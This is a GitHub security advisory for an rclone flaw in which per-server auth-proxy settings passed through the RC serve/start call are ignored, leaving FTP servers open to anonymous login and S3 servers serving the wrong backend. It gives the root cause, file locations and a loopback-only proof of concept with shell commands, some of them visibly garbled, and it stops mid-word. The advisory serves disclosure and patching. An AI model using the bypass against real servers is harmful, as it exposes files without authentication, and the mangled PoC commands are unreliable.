GitHub Advisoryadvisory · Go

GHSA-p569-5gjg-9cmj rclone: RC per-server auth-proxy bypass

CRITICAL Published 2026-09-10 Modified 2026-09-10 Official page ↗
Aliases
CVE-2026-88044
Ecosystem
Go
Packages
github.com/rclone/rclone
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Weaknesses
CWE-863
Reviewed
2026-09-10

Affected packages

• Go github.com/rclone/rclone: >= 1.70.0, < 1.75.1 → fixed in 1.75.1

Description

Summary `serve/start` accepts protocol options in a per-server `proxyOpt` object. The FTP and S3 RC adapters parse that object and pass it to their server constructors, but the constructors decide whether proxy authentication is enabled by checking the process-global `proxy.Opt.AuthProxy` instead of the supplied `proxyOpt.AuthProxy`. When the process-global option is empty—the normal case when only the RC request configures the server—the supplied authentication proxy is silently ignored. FTP falls back to its fixed-backend mode, whose defaults accept username `anonymous` with any password, exposing read, write, and delete operations without the authentication the operator configured. S3 falls back to the fixed filesystem: with an `auth_key`, any holder of that key reaches the fixed RC `fs` instead of the backend selected by the auth proxy. The S3 no-`auth_key` mode is explicitly documented as anonymous and is not part of this vulnerability claim. The confirmed S3 impact is proxy-based authorization/backend routing being ignored when S3 authentication is otherwise enabled. Confirmed affected versions are `v1.70.0` through `v1.75.0`, plus development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The dedicated CLI commands use the process-global option and are not affected by this configuration mismatch. Affected Assets & Attack Surface • `cmd/serve/rc.go:68-93` documents nested per-server `proxyOpt` support, including `AuthProxy`. • `cmd/serve/rc.go:111-148` resolves the fixed `fs` and invokes the selected per-protocol RC constructor. • `cmd/serve/ftp/ftp.go:96-116` parses the request-local `proxyOpt` and passes it to `newServer`. • `cmd/serve/ftp/ftp.go:186-207` checks `proxy.Opt.AuthProxy` at line 202 instead of `proxyOpt.AuthProxy`; the false branch creates `globalVFS` from the RC-supplied filesystem. • `cmd/serve/ftp/ftp.go:54-60` defines the fallback credentials as user `anonymous` and an empty password. • `cmd/serve/ftp/ftp.go:318-349` accepts any password when the configured fallback password is empty. • `cmd/serve/s3/s3.go:76-96` parses and passes the request-local S3 proxy options. • `cmd/serve/s3/server.go:67-101` checks `proxy.Opt.AuthProxy` at line 91 and otherwise exposes the fixed VFS. S3 authentication through `AuthKey` remains separate from proxy-based backend selection. • Network attack surface: FTP data and control operations on an RC-started server; authenticated S3 operations on an RC-started server intended to route access keys to distinct proxy backends. • Configuration attack surface: `rclone rc serve/start ... proxyOpt='{"AuthProxy":"..."}'` or the equivalent JSON request. Technical Root Cause Analysis The serve implementation has two option scopes: • `proxy.Opt` is process-global and is populated by command-line/global option parsing. • `proxyOpt` is a constructor argument populated from the individual `serve/start` request. The RC adapters correctly create a local copy, apply the request parameters, and call `newServer(..., &proxyOpt)`. Neither adapter mutates the global. The constructors then branch on the wrong value: ```go // Current FTP and S3 pattern if proxy.Opt.AuthProxy != "" { // Uses proxyOpt only after the unrelated global check succeeds. serverProxy = proxy.New(ctx, proxyOpt, vfsOpt) } else { // Fail-open fixed-backend mode. } ``` Consequently, a valid, documented per-server security option is parsed without error but does not select the security mode it represents. This is not merely an unsupported combination: both RC adapters explicitly parse `proxyOpt`, and the generic `serve/start` documentation gives `proxyOpt.AuthProxy` as an example. For FTP, the fallback is security-critical because its default account accepts an arbitrary password. For S3, the fallback bypasses the proxy's backend decision, but it does not independently bypass a configured `AuthKey`. If no `AuthKey` is configured, anonymous S3 access is expected behavior and should not be cited as impact. Proof of Concept & Evidence The following loopback-only reproduction uses an auth proxy that rejects every login. If the request-local proxy were active, no FTP login could succeed. Build the inspected revision, then prepare a fixed filesystem and rejecting proxy: ```sh mkdir -p /tmp/rclone-rc-root printf 'fixed-backend-secret\n' > /tmp/rclone-rc-root/secret.txt rm -f /tmp/rclone-auth-proxy-invoked cat > /tmp/deny-rclone-proxy.sh > /tmp/rclone-auth-proxy-invoked cat >/dev/null exit 1 EOF chmod 700 /tmp/deny-rclone-proxy.sh ``` Start RC on loopback in one terminal: ```sh ./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth ``` Start an FTP server with only the request-local auth proxy configured: ```sh ./rclone rc --url http://127.0.0.1:5572 \ serve/start \ type=ftp \ fs=/tmp/rclone-rc-root \ proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \ opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}' ``` Connect with the fallback credentials and exercise read and write access: ```sh python3 - /tmp/rclone-s3-fixed/bucket/fixed-secret.txt printf 'proxy-backend-only\n' > /tmp/rclone-s3-proxy/bucket/proxy-only.txt cat > /tmp/rclone-s3-route-proxy.py <<'PY' !/usr/bin/env python3 import json import sys json.load(sys.stdin) print(json.dumps({"type": "local", "_root": "/tmp/rclone-s3-proxy"})) PY chmod 700 /tmp/rclone-s3-route-proxy.py ``` Using the same loopback RC process, start an authenticated S3 server: ```sh ./rclone rc --url http://127.0.0.1:5572 serve/start --json '{ "type": "s3", "fs": "/tmp/rclone-s3-fixed", "addr": "127.0.0.1:8080", "auth_key": ["validation-key,validation-secret"], "proxyOpt": { "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py" } }' ``` Send a correctly signed S3 request: ```sh AWS_ACCESS_KEY_ID=validation-key \ AWS_SECRET_ACCESS_KEY=validation-secret \ AWS_DEFAULT_REGION=us-east-1 \ aws --endpoint-url http://127.0.0.1:8080 \ s3api get-object \ --bucket bucket \ --key fixed-secret.txt \ /tmp/rclone-s3-result grep -F fixed-backend-secret /tmp/rclone-s3-result ``` If the request-local proxy were active, `fixed-secret.txt` would not exist because the proxy selects `/tmp/rclone-s3-proxy`. Current code serves it from `/tmp/rclone-s3-fixed`. Conversely, a request for `proxy-only.txt` returns `NoSuchKey`. The automated validation `TestSecurityValidationRCPerServerAuthProxyS3Routing` performed this sequence through the actual `serve/start` handler and a MinIO Signature V4 client. It used a valid `AuthKey`, fetched `f…

Related

Alias · CVE (1)

  • CVE-2026-88044 rclone is a command-line program to sync files and directories to and from different cloud storage providers. vulnerability

Weakness · CWE (1)

  • CWE-863 Incorrect Authorization weakness

References